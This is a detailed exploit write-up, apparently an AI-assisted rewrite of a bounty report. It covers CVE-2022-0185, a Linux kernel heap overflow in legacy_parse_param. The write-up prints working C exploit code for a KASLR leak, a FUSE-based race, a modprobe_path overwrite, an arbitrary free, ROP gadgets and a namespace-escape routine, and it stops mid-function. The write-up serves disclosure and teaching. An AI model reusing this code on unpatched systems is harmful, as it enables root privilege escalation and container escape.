Skip to content
Memory corruption Write-up Advanced

CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google's KCTF Containers

A heap overflow in the Linux kernel's legacy_parse_param function allowed an attacker with CAP_SYS_ADMIN in a user namespace to corrupt kernel memory and escalate privileges to root. The authors developed a working exploit for Ubuntu and also used it to escape Google's hardened Kubernetes CTF containers.

Crusaders Follow

Published on willsroot.io

Bounty$31,337 View original

Recently, several friends on my CTF team Crusaders of Rust and I found a Linux kernel heap overflow 0-day. We found the bug through fuzzing with syzkaller and we quickly developed it into an Ubuntu LPE exploit.

Crusaders of Rust (@cor_ctf), on willsroot.io

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 25 min read.

Context

In late 2021 and early 2022, members of the CTF team Crusaders of Rust went looking for a Linux kernel 0-day. They found one through fuzzing with Google's syzkaller, developed it into a local privilege escalation exploit for Ubuntu, and then rewrote it to escape and root Google's hardened Kubernetes CTF infrastructure. The bug affects all kernel versions since 5.1 (with 5.16 in progress at the time of writing) and was assigned CVE-2022-0185. It was disclosed to the Linux security and distro mailing lists and patched as of the article's release.

The vulnerable feature is the filesystem context API: the fsopen, fsconfig, fspick and fsmount syscalls added to let userspace configure a filesystem creation context and trigger actions on it. Filesystems that do not set an init_fs_context callback fall back to the legacy parameter parser, legacy_parse_param, which accumulates options into a single page-sized buffer. That accumulation is where the overflow lives.

The bounty submission was a bug collision: during disclosure the team learned that n0psledbyte from the Singaporean VR firm StarLabs had found the same bug earlier. Because Crusaders of Rust were the first to properly report and disclose it, Google still granted a sizeable bounty, with sirdarckcat helping with the collision situation.

Setup

The team bought dedicated servers and ran Google's syzkaller fuzzer against them. The crash that started everything was hit by chop0 on January 6th at 22:30 PST: a KASAN failure in legacy_parse_param, reported as slab-out-of-bounds Write in legacy_parse_param. Syzbot had found the same issue six days earlier while fuzzing Android, but it was left unhandled and the team naively thought nobody else had noticed.

The crash log showed a one-byte write just past a 4096-byte region in the kmalloc-4k cache:

Text
BUG: KASAN: slab-out-of-bounds in legacy_parse_param+0x450/0x640 fs/fs_context.c:569
Write of size 1 at addr ffff88802d7d9000 by task syz-executor.12/386100
CPU: 3 PID: 386100 Comm: syz-executor.12 Not tainted 5.14.0 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/2014
Call Trace:
 __dump_stack lib/dump_stack.c:88 [inline]
 dump_stack_lvl+0x4d/0x66 lib/dump_stack.c:105
 print_address_description.constprop.0+0x21/0x140 mm/kasan/report.c:233
 __kasan_report mm/kasan/report.c:419 [inline]
 kasan_report.cold+0x7f/0x11b mm/kasan/report.c:436
 legacy_parse_param+0x450/0x640 fs/fs_context.c:569
 vfs_parse_fs_param+0x1fd/0x390 fs/fs_context.c:146
 vfs_fsconfig_locked+0x177/0x340 fs/fsopen.c:265
 __do_sys_fsconfig fs/fsopen.c:439 [inline]
 __se_sys_fsconfig fs/fsopen.c:314 [inline]
 __x64_sys_fsconfig+0x6a6/0x7a0 fs/fsopen.c:314
 do_syscall_x64 arch/x86/entry/common.c:50 [inline]
 do_syscall_64+0x3b/0x90 arch/x86/entry/common.c:80
 entry_SYSCALL_64_after_hwframe+0x44/0xae
RIP: 0033:0x7fe8eeb7489d
Code: 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 f3 0f 1e fa 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007fe8edcc5c28 EFLAGS: 00000246 ORIG_RAX: 00000000000001af
RAX: ffffffffffffffda RBX: 00007fe8eec94030 RCX: 00007fe8eeb7489d
RDX: 0000000020000040 RSI: 0000000000000001 RDI: 0000000000000003
RBP: 00007fe8eebe100d R08: 0000000000000000 R09: 0000000000000000
R10: 0000000020000800 R11: 0000000000000246 R12: 0000000000000000
R13: 00007ffd8112faef R14: 00007fe8eec94030 R15: 00007fe8edcc5dc0
Allocated by task 386092:
 kasan_save_stack+0x1b/0x40 mm/kasan/common.c:38
 kasan_set_track mm/kasan/common.c:46 [inline]
 set_alloc_info mm/kasan/common.c:434 [inline]
 ____kasan_kmalloc mm/kasan/common.c:513 [inline]
 __kasan_kmalloc+0x7c/0x90 mm/kasan/common.c:522
 kmalloc include/linux/slab.h:591 [inline]
 legacy_parse_param+0x3e2/0x640 fs/fs_context.c:559
 vfs_parse_fs_param+0x1fd/0x390 fs/fs_context.c:146
 vfs_fsconfig_locked+0x177/0x340 fs/fsopen.c:265
 __do_sys_fsconfig fs/fsopen.c:439 [inline]
 __se_sys_fsconfig fs/fsopen.c:314 [inline]
 __x64_sys_fsconfig+0x6a6/0x7a0 fs/fsopen.c:314
 do_syscall_x64 arch/x86/entry/common.c:50 [inline]
 do_syscall_64+0x3b/0x90 arch/x86/entry/common.c:80
 entry_SYSCALL_64_after_hwframe+0x44/0xae
netlink: 68 bytes leftover after parsing attributes in process `syz-executor.13'.
netlink: 68 bytes leftover after parsing attributes in process `syz-executor.13'.
netlink: 68 bytes leftover after parsing attributes in process `syz-executor.13'.
netlink: 68 bytes leftover after parsing attributes in process `syz-executor.13'.
autofs4:pid:386120:autofs_fill_super: called with bogus options
autofs4:pid:386117:autofs_fill_super: called with bogus options
The buggy address belongs to the object at ffff88802d7d8000
 which belongs to the cache kmalloc-4k of size 4096
The buggy address is located 0 bytes to the right of
 4096-byte region [ffff88802d7d8000, ffff88802d7d9000)
The buggy address belongs to the page:
page:000000006784204d refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x2d7d8
head:000000006784204d order:3 compound_mapcount:0 compound_pincount:0
flags: 0x100000000010200(slab|head|node=0|zone=1)
raw: 0100000000010200 0000000000000000 0000000200000001 ffff888100043040
raw: 0000000000000000 0000000000040004 00000001ffffffff 0000000000000000
page dumped because: kasan: bad access detected
Memory state around the buggy address:
 ffff88802d7d8f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
 ffff88802d7d8f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
>ffff88802d7d9000: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
                   ^
 ffff88802d7d9080: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff88802d7d9100: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc

Fiddling with the C reproducer, the team reduced it to a snippet that triggered a crash reliably:

C
#define _GNU_SOURCE
#include <sys/syscall.h>
#include <stdio.h>
#include <stdlib.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif

#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif

#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)

int main(void) {
    char* val = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    int fd = 0;
    fd = fsopen("9p", 0);
    if (fd < 0) {
        puts("Opening");
        exit(-1);
    }

    for (int i = 0; i < 5000; i++) {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", val, 0);
    }

    return 0;
}

The exploit targets were Ubuntu (preferably 20.04) and Google's kCTF infrastructure. The exact Ubuntu kernel targeted was 5.11.0-44. As with most distro kernels, many hardening options are compiled in: slab randomization, slab hardening, usercopy hardening, and the usual SMAP, SMEP, KASLR and KPTI. Distro images also carry options that help exploitation, such as CONFIG_CHECKPOINT_RESTORE, CONFIG_USER_NS, CONFIG_FUSE, CONFIG_SYSVIPC and CONFIG_USERFAULTFD.

Finding it

The fsconfig syscall takes a file descriptor, a command such as FSCONFIG_SET_STRING, and two strings for key and value. For FSCONFIG_SET_STRING the value must point to a null-terminated string and the auxiliary argument must be 0. Following the stack trace, vfs_fsconfig_locked reaches vfs_parse_fs_param through the default case of its switch, and that calls the parse_param function pointer from the ops field of the fs_context. For legacy filesystems that pointer is legacy_parse_param, as defined by the legacy_fs_context_ops structure.

What makes a filesystem legacy is decided in alloc_fs_context:

C
init_fs_context = fc->fs_type->init_fs_context;
if (!init_fs_context)
    init_fs_context = legacy_init_fs_context;

fs_type is a struct file_system_type. The exploit abused ext4; the original fuzzing crash happened on the Plan 9 filesystem. Neither of them, and many other filesystems, set init_fs_context, so they all default to legacy and reach legacy_parse_param.

The offending function is:

C
static int legacy_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
	struct legacy_fs_context *ctx = fc->fs_private;
	unsigned int size = ctx->data_size;
	size_t len = 0;
	int ret;

	ret = vfs_parse_fs_param_source(fc, param);
	if (ret != -ENOPARAM)
		return ret;

	if (ctx->param_type == LEGACY_FS_MONOLITHIC_PARAMS)
		return invalf(fc, "VFS: Legacy: Can't mix monolithic and individual options");

	switch (param->type) {
	case fs_value_is_string:
		len = 1 + param->size;
		fallthrough;
	case fs_value_is_flag:
		len += strlen(param->key);
		break;
	default:
		return invalf(fc, "VFS: Legacy: Parameter type for '%s' not supported",
			       param->key);
	}

	if (len > PAGE_SIZE - 2 - size)
		return invalf(fc, "VFS: Legacy: Cumulative options too large");
	if (strchr(param->key, ',') ||
	    (param->type == fs_value_is_string &&
	     memchr(param->string, ',', param->size)))
		return invalf(fc, "VFS: Legacy: Option '%s' contained comma",
			       param->key);
	if (!ctx->legacy_data) {
		ctx->legacy_data = kmalloc(PAGE_SIZE, GFP_KERNEL);
		if (!ctx->legacy_data)
			return -ENOMEM;
	}

	ctx->legacy_data[size++] = ',';
	len = strlen(param->key);
	memcpy(ctx->legacy_data + size, param->key, len);
	size += len;
	if (param->type == fs_value_is_string) {
		ctx->legacy_data[size++] = '=';
		memcpy(ctx->legacy_data + size, param->string, param->size);
		size += param->size;
	}
	ctx->legacy_data[size] = '\0';
	ctx->data_size = size;
	ctx->param_type = LEGACY_FS_INDIVIDUAL_PARAMS;

	return 0;
}

When the value is a string, the length calculation factors in both the value string and the key string. On the first call, a 4k chunk is allocated for legacy_data. The function writes a comma, copies the key, writes an equals sign, copies the value, and null-terminates. The bound check that is supposed to prevent overflow is:

C
if (len > PAGE_SIZE - 2 - size)
	return invalf(fc, "VFS: Legacy: Cumulative options too large");

That check holds for most cases, but if size is 4095 bytes or greater, the subtraction underflows because size is an unsigned int. Trigger the underflow and the overflow becomes effectively unbounded.

The bug has existed since 5.1-rc1. Triggering it requires the CAP_SYS_ADMIN capability, but only in the current namespace. Most unprivileged users can call unshare(CLONE_NEWNS|CLONE_NEWUSER) (the equivalent of unshare -Urm) to enter a namespace where they hold CAP_SYS_ADMIN, and abuse the bug from there. That is what makes it dangerous.

Exploitation

The only primitive the bug gives is a heap overflow in a 4k slab. The team's earlier work with D3v17 on abusing msg_msg structures for OOB read, arbitrary read and arbitrary write (the Fire of Salvation challenge and its follow-up article) covered a 0x30-byte UAF at the start of a msg_msg in the 4k slab, so a 4k heap overflow fits that scenario almost exactly. With one exception, the same strategy applies.

A note on stability: newer kernel mitigations actually helped. The exploit never did much spraying beyond initial sprays to clean up slabs, plus forcing CPU affinity on one core because each core has its own freelist. On kernels where the freelist pointer sat at the beginning of each chunk, exploitation required far more spraying and never exceeded a 50% success rate. Since 5.7 the kernel moved the freelist pointer to the middle of the chunk to stop overflows corrupting heap state. As long as the overflow does not hit an important object, the exploit can keep overflowing the first 0x30 bytes (all that matters for msg_msg) without corrupting the 4k pages, and a fresh legacy data allocation is available with every new fd created by fsopen.

Step 1: KASLR leak

To leak KASLR on general distributions, the legacy data chunk must land directly on top of a 4k msg_msg chained with a kmalloc-32 msg_msgseg. The overflow adjusts the msg_msg size parameter to make it larger, and MSG_COPY then produces an OOB leak. Spraying many seq_operations structures with the classic

C
open("/proc/self/stat", O_RDONLY)

trick gives a high chance that the OOB read leaks pointers inside that structure, which rebases the kernel and bypasses KASLR.

Because there are no heap leaks and usercopy hardening does bounds checking on heap objects, the exploit relies on MSG_COPY, which does not unlink the msg_msg from its msg_queue (an unlink would use the linked list pointers in the first 0x10 bytes) and uses memcpy to transfer data into a new msg_msg before usercopying back.

The leak code:

C
uint64_t do_leak ()
{
    uint64_t kbase = 0;
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    int targets[0x10] = {0};
    msg *message = (msg *)buffer;
    int size = 0x1018;

    for (int i = 0; i < 8; i++)
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }

    memset(pat, 0x42, sizeof(pat));
    pat[sizeof(pat)-1] = '\x00';
    puts("[*] Opening ext4 filesystem");
    fd = fsopen("ext4", 0);
    if (fd < 0) {
        puts("fsopen: Remember to unshare");
        exit(-1);
    }
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++) {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }

    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x10";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);

    for (int i = 8; i < 0x10; i++)
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    puts("[*] Done heap overflow");
    puts("[*] Spraying kmalloc-32");
    for (int i = 0; i < 100; i++) {
        open("/proc/self/stat", O_RDONLY);
    }
    size = 0x1060;
    puts("[*] Attempting to recieve corrupted size and leak data");

    for (int j = 0; j < 0x10; j++)
    {
        get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        kbase = do_check_leak(recieved);
        if (kbase)
        {
            close(fd);
            return kbase;
        }
    }

    puts("[X] No leaks, trying again");
    return 0;
}

The function fills the legacy buffer with 117 repeated 33-byte strings, then overflows with a two-byte value, sprays seq_operations, and reads back each candidate queue with MSG_COPY looking for a kernel pointer.

Step 2: Arbitrary write via FUSE

The arbitrary write technique from the earlier work requires hanging the usercopy after it copies into the first msg_msg chunk but before it traverses to the msg_msgseg chunk, which happens when the requested size exceeds 4096. Previously this was done with userfaultfd, but unprivileged userfaultfd has been disabled by default since 5.11. The FUSE technique from the LSSEU 2019 slides on exploiting race conditions caught the team's attention: users can talk to /dev/fuse to build a custom filesystem in userspace, map its files into memory with mmap, have usercopy reach them, and have the custom read handlers hang or do anything else.

The custom FUSE read handler:

C
int evil_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi)
{
    char signal;
    char evil_buffer[0x1000];
    memset(evil_buffer, 0x43, sizeof(evil_buffer));
    char *evil = modprobe_win;
    memcpy((void *)(evil_buffer + 0x1000-0x30), evil, sizeof(evil));
    size_t len = 0x1000;
    if (offset >= len)
        return size;
    if (offset + size > len)
        size = len - offset;
    memcpy(buf, evil_buffer + offset, size);

    read(fuse_pipes[0], &signal, 1);
    return size;
}

Two difficulties came with this race. Normally an unprivileged user needs a suid /bin/fusermount binary, but performing the unshare that creates the user namespace skips that requirement. And libfuse is notoriously difficult to statically link because it relies on dl_open for some extra features. The team removed all references to dl_open and rebuilt the library, after which static compilation worked and the technique works on any system with CONFIG_FUSE enabled regardless of libfuse or fusermount availability.

Step 3: Ubuntu LPE via modprobe_path

For simplicity the Ubuntu exploit only targeted modprobe_path, overwriting it with the path to a script that makes /bin/bash suid. The script triggers with root privileges whenever anyone runs a binary with an invalid header.

C
void do_win()
{
    int size = 0x1000;
    char buffer[0x2000] = {0};
    char pat[0x1000] = {0};
    msg* message = (msg*)buffer;
    memset(buffer, 0x44, sizeof(buffer));
    void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0);
    uint64_t race_page = 0x1338000;
    msg *rooter = (msg *)(race_page-0x8);
    rooter->mtype = 1;
    size = 0x1010;
    int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    send_msg(target, message, size - 0x30, 0);

    puts("[*] Opening ext4 filesystem");
    fd = fsopen("ext4", 0);
    if (fd < 0) {
        puts("Opening");
        exit(-1);
    }

    puts("[*] Overflowing...");
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++) {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }

    puts("[*] Prepaing fault handlers via FUSE");
    int evil_fd = open("evil/evil", O_RDWR);
    if (evil_fd < 0) {
        perror("evil fd failed");
        exit(-1);
    }
    if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000) {
        perror("mmap fail fuse 1");
        exit(-1);
    }

    pthread_t thread;
    int race = pthread_create(&thread, NULL, arb_write, NULL);
    if(race != 0) {
        perror("can't setup threads for race");
    }
    send_msg(target, rooter, size - 0x30, 0);
    pthread_join(thread, NULL);

    munmap((void *)0x1337000, 0x1000);
    munmap((void *)0x1338000, 0x1000);
    close(evil_fd);
    close(fd);
}

The full exploit is at https://github.com/Crusaders-of-Rust/CVE-2022-0185/blob/master/exploit_fuse.c. It can be adjusted for any kernel version above 5.7; older versions need the spray reworked. With /bin/bash suid, any low-privileged user with access to bash runs it with -p to get root.

Step 4: Moving to kCTF

The team wanted to try Google's kCTF VRP. Two challenges were offered: kctf, where you root the container to read its root flag, and fullchain, where you root the container, escape to the host, and read the root flag of another container. Fullchain was the goal.

Many issues appeared early. The /dev folder was barebones, so fuse and favourite structures like tty_struct were unavailable. Userfaultfd was disabled, and the 4k slab heap seemed to hold many structures and behaved more actively in the container environment, which required better spraying strategies for stability.

A more important issue was the GFP_KERNEL_ACCOUNT flag. Accounting is usually reserved for objects holding userland data, and structures like msg_msg are allocated with it. Before 5.9 the kernel placed accounted objects in separate slabs, but only with CONFIG_MEMCG_KMEM compiled in. The legacy data allocations should also carry the accounting flag by their purpose, but kernel developers forgot about this until a recent commit for 5.16. That meant msg_msg could not be abused on the kCTF infrastructure Google hosted, which was on 5.4, so a new structure would be needed, found through source reading or CodeQL. Fortunately an update for kCTF was almost complete that would run Kubernetes on a 5.10 kernel (hence kctf.vrp2.ctfcompetition.com), so the team targeted that one to save time.

StarLabs did get the older kCTF instance. Asked afterwards, n0psledbyte explained they abused msg_msg too, by performing a cross cache overflow, a concept the author had never really considered. grsecurity has an article on how AutoSLAB changes the memory unsafety game related to this strategy, and the author is curious how much spraying is needed for an acceptable reliability rate.

With limited ability to control a race, msg_msg could not be used for arbitrary write. The plan was to rely on the unlink primitive or the arbitrary free primitive that msg_msg provides, with the end goal of replacing the pipe_buffer pointer to a function table with a pointer to another arbitrary msg_msg chunk to gain ROP control. Andy Nguyen's and bsauce's articles provided the pipe_buffer idea.

Step 5: Heap spray and heap leak

A chat with D3v17 and Paolo Monti's SLUB refresher article helped plan the spray. The first thing was to force CPU affinity on one core, since each CPU has its own freelists. Other tricks, which may be placebo but definitely increased reliability in testing, were tuned to the Kubernetes infrastructure:

  1. Pre-allocate a large number of chunks with msg_msg sprays. After each stage, or when repeating a stage, free some of them to cover up corruption and prevent crashes on future allocations. All saved chunks are dumped before triggering a root shell as a final cleanup.
  2. Before overflowing into msg_msg objects from fsconfig, allocate 4 to 7 msg_msg objects (there are only 8 objects in a kmalloc-4k slab), then trigger MSG_COPY on one of them, which forces an allocation and free in the same slab during the copy. This hopefully creates a hole so the next legacy data allocation lands right on top of a msg_msg.

With this spray, kernel leaks and heap leaks came easily. For heap leaks, the exploit uses the fact that each msg_queue links its msg_msg objects in a doubly linked list. Allocating a kmalloc-64 msg_msg between a kmalloc-512 object and a kmalloc-1k object in one queue, and a kmalloc-4k msg_msg chained to a kmalloc-64 msg_msgseg in another queue, allows an OOB read to leak the kmalloc-512 and kmalloc-1k object addresses. kmalloc-512 is not required, it is just what the author chose.

Heap Setup:

From the original on willsroot.io

Overflow into m_ts (size) to achieve OOB read on MSG_COPY:

From the original on willsroot.io

The contents of the msg_msg data also reveal which msg_queue the leaked addresses belong to, so those queues can be freed selectively and LIFO used to place objects there in advance. The kmalloc-1k object was replaced with a pipe_buffer object, while kmalloc-512 already held stack pivot gadgets.

From the original on willsroot.io

The heap leak code:

C
double_heap_leaks do_heap_leaks()
{
    uint64_t kmalloc_1024 = 0;
    uint64_t kmalloc_512 = 0;
    char pivot_spray[0x2000] = {0};
    uint64_t *pivot_spray_ptr = (uint64_t *)pivot_spray;
    double_heap_leaks leaks = {0};
    int linked_msg[256] = {0};
    char pat[0x1000] = {0};
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    msg *message = (msg *)buffer;

    for (int i = 0; i < 255; i++)
    {
        linked_msg[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        memset(pivot_spray, 0x0, sizeof(pivot_spray));
        pivot_spray_ptr[0] = 1;
        for (int i = 0; i < 10;i ++) {
            pivot_spray_ptr[i+1] = stack_pivot;
        }

        send_msg(linked_msg[i], pivot_spray, 0x200 - 0x30, 0);
        memset(buffer, 0x1+i, sizeof(buffer));
        message->mtype = 2;
        send_msg(linked_msg[i], message, 0x40 - 0x30, 0);
        message->mtype = 3;
        send_msg(linked_msg[i], message, 0x400 - 0x30 - 0x40, 0);
    }
    int size = 0x1038;
    int targets[H_SPRAY] = {0};
    for (int i = 0; i < H_SPRAY; i++)
    {
        memset(buffer, 0x41+i, sizeof(buffer));
        targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
        send_msg(targets[i], message, size - 0x30, 0);
    }

    get_msg(targets[0], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
    puts("[*] Opening ext4 filesystem");
    fd = fsopen("ext4", 0);
    if (fd < 0) {
        puts("fsopen: Remember to unshare");
        exit(-1);
    }
    strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
    for (int i = 0; i < 117; i++) {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    }

    stuff_4k(16);
    puts("[*] Overflowing...");
    pat[21] = '\x00';
    char evil[] = "\x60\x19";
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0);
    puts("[*] Done heap overflow");
    size = 0x1960;
    puts("[*] Receiving corrupted size and leak data");

    for (int i = 0; i < H_SPRAY; i++)
    {
        get_msg(targets[i], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
        for (int j = 0x202; j < 0x202 + (0x1960-0x1010) / 8; j++)
        {
            uint64_t *dump = (uint64_t *)recieved;
            if (dump[j] == 0x2 && dump[j+1] == 0x10 && dump[j+4] == dump[j+5])
            {
                kmalloc_1024 = dump[j-2];
                kmalloc_512 = dump[j-1];

                uint8_t target_idx = (dump[j+4] & 0xff) - 1;
                get_msg(linked_msg[target_idx], recieved, 0x400 - 0x30, 3, IPC_NOWAIT | MSG_NOERROR);

                for (int k = 0; k < PIPES; k++)
                {
                    if (pipe(pipefd[k]) < 0) {
                        perror("pipe failed");
                        exit(-1);
                    }
                    write(pipefd[k][1], "pwnage", 7);
                }
                break;
            }
        }
        if (kmalloc_1024 != 0) {
            break;
        }
    }
    close(fd);
    if (!kmalloc_1024) {
        puts("[X] No leaks, trying again");
        stuff_4k(16);
        return leaks;
    }
    leaks.kmalloc_1024_leak = kmalloc_1024;
    leaks.kmalloc_512_leak = kmalloc_512;
    return leaks;
}

The function builds 255 queues, each holding three chained messages, then sprays 4k msg_msg targets, overflows to corrupt the size, and scans the leaked data for the marker pattern that identifies the linked objects.

Step 6: Unlink attempt and arbitrary free

The first approach was an unlink attack. In do_msgrcv, the unlink happens when MSG_COPY is not specified: victim->prev->next = victim->next and victim->next->prev = victim->prev. Setting victim->prev to the location of the ops table pointer and victim->next to an address in the kmalloc-512 msg_msg data buffer should change the ops table pointer to point at the malicious msg buffer, a classic unlink attack.

From the original on willsroot.io

Unfortunately CONFIG_DEBUG_LIST was enabled. The unlink performs a validity check:

C
bool __list_del_entry_valid(struct list_head *entry)
{
	struct list_head *prev, *next;

	prev = entry->prev;
	next = entry->next;

	if (CHECK_DATA_CORRUPTION(next == LIST_POISON1,
			"list_del corruption, %px->next is LIST_POISON1 (%px)\n",
			entry, LIST_POISON1) ||
	    CHECK_DATA_CORRUPTION(prev == LIST_POISON2,
			"list_del corruption, %px->prev is LIST_POISON2 (%px)\n",
			entry, LIST_POISON2) ||
	    CHECK_DATA_CORRUPTION(prev->next != entry,
			"list_del corruption. prev->next should be %px, but was %px\n",
			entry, prev->next) ||
	    CHECK_DATA_CORRUPTION(next->prev != entry,
			"list_del corruption. next->prev should be %px, but was %px\n",
			entry, next->prev))
		return false;

	return true;
}

On failure it simply does not unlink, though the frees still happen and the original pointers are set to the kernel POISON constants.

Since heap leaks are available, the linked lists can be overwritten so they still dereference on unlink even if the unlink fails, and then the next and security pointers can be overwritten to build an arbitrary free primitive when chained with do_msgrcv. Because the payload must also be a valid string, only unaligned frees are possible given the slab heap leaks. The plan is to ignore whatever is freed in kmalloc-512 (writing a misaligned address for the security pointer) and free the address at the kmalloc-1k chunk at an offset of -0x20. If a 1k msg_msg is then allocated over that freed spot, controlled userdata can be copied in to overwrite the ops pointer so it points to an address holding the stack pivot gadget, without triggering hardened usercopy bounds checks.

The corrupted 4k msg_msg should create this heap scenario:

From the original on willsroot.io

Then, freeing the 4k msg_msg and spraying some 1k msg_msg to hopefully overlap with the target pipe_buffer:

From the original on willsroot.io

Closing the target pipefd with close should trigger one of the stack pivots through the overwritten ops table pointer, specifically the release function. At this point none of the registers pointed into kmalloc-512, but the known addresses in registers like rax pointed to the start of the pipe_buffer chunk. The 1k msg_msg chunk used to overwrite the pipe_buffer therefore also has to contain the ROP chain, and the stack pivot must replace rsp with rax.

The gadgets used:

Text
stack pivot: `mov rsp, rax ; pop rbp ; ret;`

set rdi: `pop rdi ; ret ;`

set rsi: `pop rsi ; ret ;`

set rdi from rax: `test esi, esi ; cmovne rdi, rax ; mov rax, qword [rdi] ; pop rbp ; ret ;`

The ROP chain's goal was to become root in the root namespace. The team borrowed Andy Nguyen's strategy of commit_cred(prepare_kernel_cred(NULL)) and switch_task_namespaces(find_task_by_vpid(1), init_nsproxy), then used the kpti trampoline from swapgs_and_return_to_userspace to return to userland gracefully. The classic setns tricks in container breakouts complete the escape.

Step 7: Privilege escalation and container escape

C
void dump_flag()
{
    char buf[200] = {0};
    for (int i = 0; i < 4194304; i++) {

        snprintf(buf, sizeof(buf), "/proc/%d/root/flag/flag", i);
        int fd = open(buf, O_RDONLY);
        if (fd < 0) {
            continue;
        }
        puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲");
        read(fd, buf, 100);
        write(1, buf, 100);
        puts("🎲🎲🎲🎲🎲🎲🎲🎲🎲🎲");
        close(fd);
    }
    return;
}

__attribute__((naked)) win()
{
    asm volatile(
        "mov rbp, rsp;"
        "and rsp, -0xf;"
        "call dump_flag;"
        "mov rsp, rbp;"
        "ret;");
}

void pwned()
{
    write(1, "ROOOOOOOOOOOT\n", 14);
    setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
    setns(open("/proc/1/ns/pid", O_RDONLY), 0);
    setns(open("/proc/1/ns/net", O_RDONLY), 0);
    win();
    char *args[] = {"/bin/sh", NULL};
    execve("/bin/sh", args, NULL);
    _exit(0);
}

void do_win(uint64_t kmalloc_512, uint64_t kmalloc_1024)
{
    int size = 0x1000;
    int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
    char buffer[0x2000] = {0}, recieved[0x2000] = {0};
    char pat[0x40] = {0};
    msg* message = (msg*)buffer;
    memset(buffer, 0x44, sizeof(buffer));
    int ready = 0;
    int ignition_target = -1;

    uint64_t next_target = kmalloc_1024 + 0x440;
    uint64_t prev_target = kmalloc_512 + 0x440;

    uint64_t free_target = kmalloc_1024 - 0x20;
    uint64_t make_sec_happy = kmalloc_512 - 0x20;
    stuff_4k(16);
    int targets[P_SPRAY] = {0};
    while (!ready)
    {
        for (int i = 0; i < P_SPRAY; i++)
        {
            memset(buffer, 0x41+i, sizeof(buffer));
            targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT);
            send_msg(targets[i], message, size - 0x30, 0);
        }
        get_msg(targets[0], recieved, size-0x30, 0, IPC_NOWAIT | MSG_NOERROR | MSG_COPY);

        fd = fsopen("ext4", 0);
        if (fd < 0) {
            puts("Opening");
            exit(-1);
        }
        strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
        for (int i = 0; i < 117; i++) {
            fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0);
        }
        puts("[*] Done heap overflow");
        char evil[0x40] = {0};
        uint64_t *evil_ptr = (uint64_t *)evil;
        memset(evil, 0x41, 0x30);
        evil_ptr[0] = next_target;
        evil_ptr[1] = prev_target;
        evil_ptr[4] = free_target;
        evil_ptr[5] = make_sec_happy;

        if(strlen(evil) != 0x30) {
            puts("unable to continue given heap addresses");
            exit(-1);
        }
        puts("[*] Overflowing...");
        fsconfig(fd, FSCONFIG_SET_STRING, evil, "\x00", 0);
        puts("check heap to check preparedness for ignition");
        stuff_4k(16);
        for (int i = 0; i < P_SPRAY; i++)
        {
